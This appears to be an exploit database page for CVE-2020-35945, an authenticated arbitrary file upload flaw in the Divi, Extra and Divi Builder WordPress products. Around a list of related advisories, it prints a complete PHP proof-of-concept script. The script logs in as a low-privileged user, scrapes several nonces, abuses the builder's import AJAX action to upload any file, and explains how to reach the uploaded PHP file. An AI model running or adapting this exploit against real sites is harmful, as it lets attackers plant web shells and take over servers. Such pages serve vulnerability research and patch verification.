Elegant Themes (Divi 3.0 - 4.5.2, Extra 2.0 - 4.5.2, Divi Builder 2.0 - 4.5.2) - Authenticated Arbitrary File Upload
| Reporter | Title | Published | Views | Family All 18 |
|---|---|---|---|---|
| CVE-2020-35945 | 1 Jan 202107:32 | – | circl | |
| WordPress 代码问题漏洞 | 31 Dec 202000:00 | – | cnnvd | |
| WordPress File Upload Vulnerability (CNVD-2021-29447) | 6 Jan 202100:00 | – | cnvd | |
| CVE-2020-35945 | 1 Jan 202103:28 | – | cve | |
| CVE-2020-35945 | 1 Jan 202103:28 | – | cvelist | |
| EUVD-2020-23528 | 7 Oct 202500:30 | – | euvd | |
| CVE-2020-35945 | 1 Jan 202104:15 | – | nvd | |
| WordPress Elegant Themes Extra Theme 2.0 <= 4.5.2 Authenticated Arbitrary File Upload Vulnerability | 6 Aug 202000:00 | – | openvas | |
| WordPress Elegant Themes Divi Theme 3.0 <= 4.5.2 Authenticated Arbitrary File Upload Vulnerability | 6 Aug 202000:00 | – | openvas | |
| CVE-2020-35945 | 1 Jan 202104:15 | – | osv |
10
Usage: php poc.php url username password filetoupload
Once the file is uploaded after running the script, you can access the file from the most current uploads directory.Example: http://URL/wp-content/uploads/2020/07/divipoc.php
<?php
// Settings
$siteurl = $argv[1];
$wp_user = $argv[2];
$wp_pass = $argv[3];
$upfile = $argv[4];
$proxy = '127.0.0.1:8080';
$urlbits = parse_url( $siteurl );
$wp_url = $urlbits['scheme'].'://'.$urlbits['host'].'/';
$uploadinfo=array('dir'=>'..','folder'=>'/inc');
//Json Encode Our New Post
$data = array(
"title" => "Exploit Post",
"content" => "<!-- wp:paragraph -->\nSample\n<!-- /wp:paragraph -->",
"status"=>"pending");
$postdata = json_encode($data);
//Get Json post data length
$length = strlen($postdata);
echo 'Logging in!';
// 1) Log in as contributor+
$ch = curl_init();
$cookiejar = tempnam(sys_get_temp_dir(), 'cookiejar-');
curl_setopt($ch, CURLOPT_URL, $siteurl . 'wp-login.php');
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
'log' => $wp_user,
'pwd' => $wp_pass,
'rememberme' => 'forever',
'wp-submit' => 'Log+In',
]);
$output = curl_exec($ch);
curl_close($ch);
echo 'Grabbing Rest API!';
// Pull the Rest API Nonce
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $siteurl . 'wp-admin/post-new.php');
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$content = curl_exec($ch);
curl_close($ch);
//Rest API Nonce
preg_match('/wp\.apiFetch\.createNonceMiddleware\(\s"([^"]+)"\s\)/', $content, $matches);
$restnonce = $matches[1];
echo 'Creating New Post and Grabbing Page ID!';
//Create New Post
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $siteurl . 'wp-json/wp/v2/posts');
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt( $ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json',
"X-WP-Nonce: $restnonce",
"Content-Length: $length"));
curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata);
//Grab the page-id
preg_match('/"id":([^"]+),/', $content, $matches);
$pageid = $matches[1];
echo 'Grabbing Activation Nonce!';
// Pull the Import Nonce
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $siteurl . '?=' . $pageid . '&et_fb=1');
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$content = curl_exec($ch);
curl_close($ch);
//Import Nonce
preg_match("/et\_fb\_activation\_nonce\=([^']+)\'/", $content, $matches);
$activationnonce = $matches[1];
echo 'Activating Theme Builder For Post!';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $siteurl . '?=' . $pageid . '&et_fb_activation_nonce=' . $activationnonce);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$content = curl_exec($ch);
curl_close($ch);
echo 'Getting Another Nonce!';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $siteurl . '?=' . $pageid . '&et_fb=1&PageSpeed=off');
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$content = curl_exec($ch);
curl_close($ch);
//Import Nonce
preg_match('/etCorePortability\s=\s\{"nonces":\{"import":"([^"]+)"/', $content, $matches);
$importnonce = $matches[1];
echo 'Uploading file!';
//Upload a file
$ch = curl_init();
$cFile = curl_file_create( realpath( $upfile ) );
curl_setopt( $ch, CURLOPT_URL, $siteurl . 'wp-admin/admin-ajax.php' );
curl_setopt( $ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13' );
curl_setopt( $ch, CURLOPT_PROXY, $proxy );
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, true );
curl_setopt( $ch, CURLOPT_POST, true );
curl_setopt( $ch, CURLOPT_POSTFIELDS, [
'action' => 'et_core_portability_import',
'include_global_presets' => 'undefined',
'nonce' => $importnonce,
'content' => 'false',
'context' => 'et_builder',
'file' => $cFile
] );
$output = curl_exec($ch);
curl_close($ch);
print_r($output);
?>Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
02 Jan 2021 00:00Current
9.4Critical risk
Vulners AI Score9.4
CVSS 26.5
CVSS 3.18.8 - 9.9
EPSS0.02422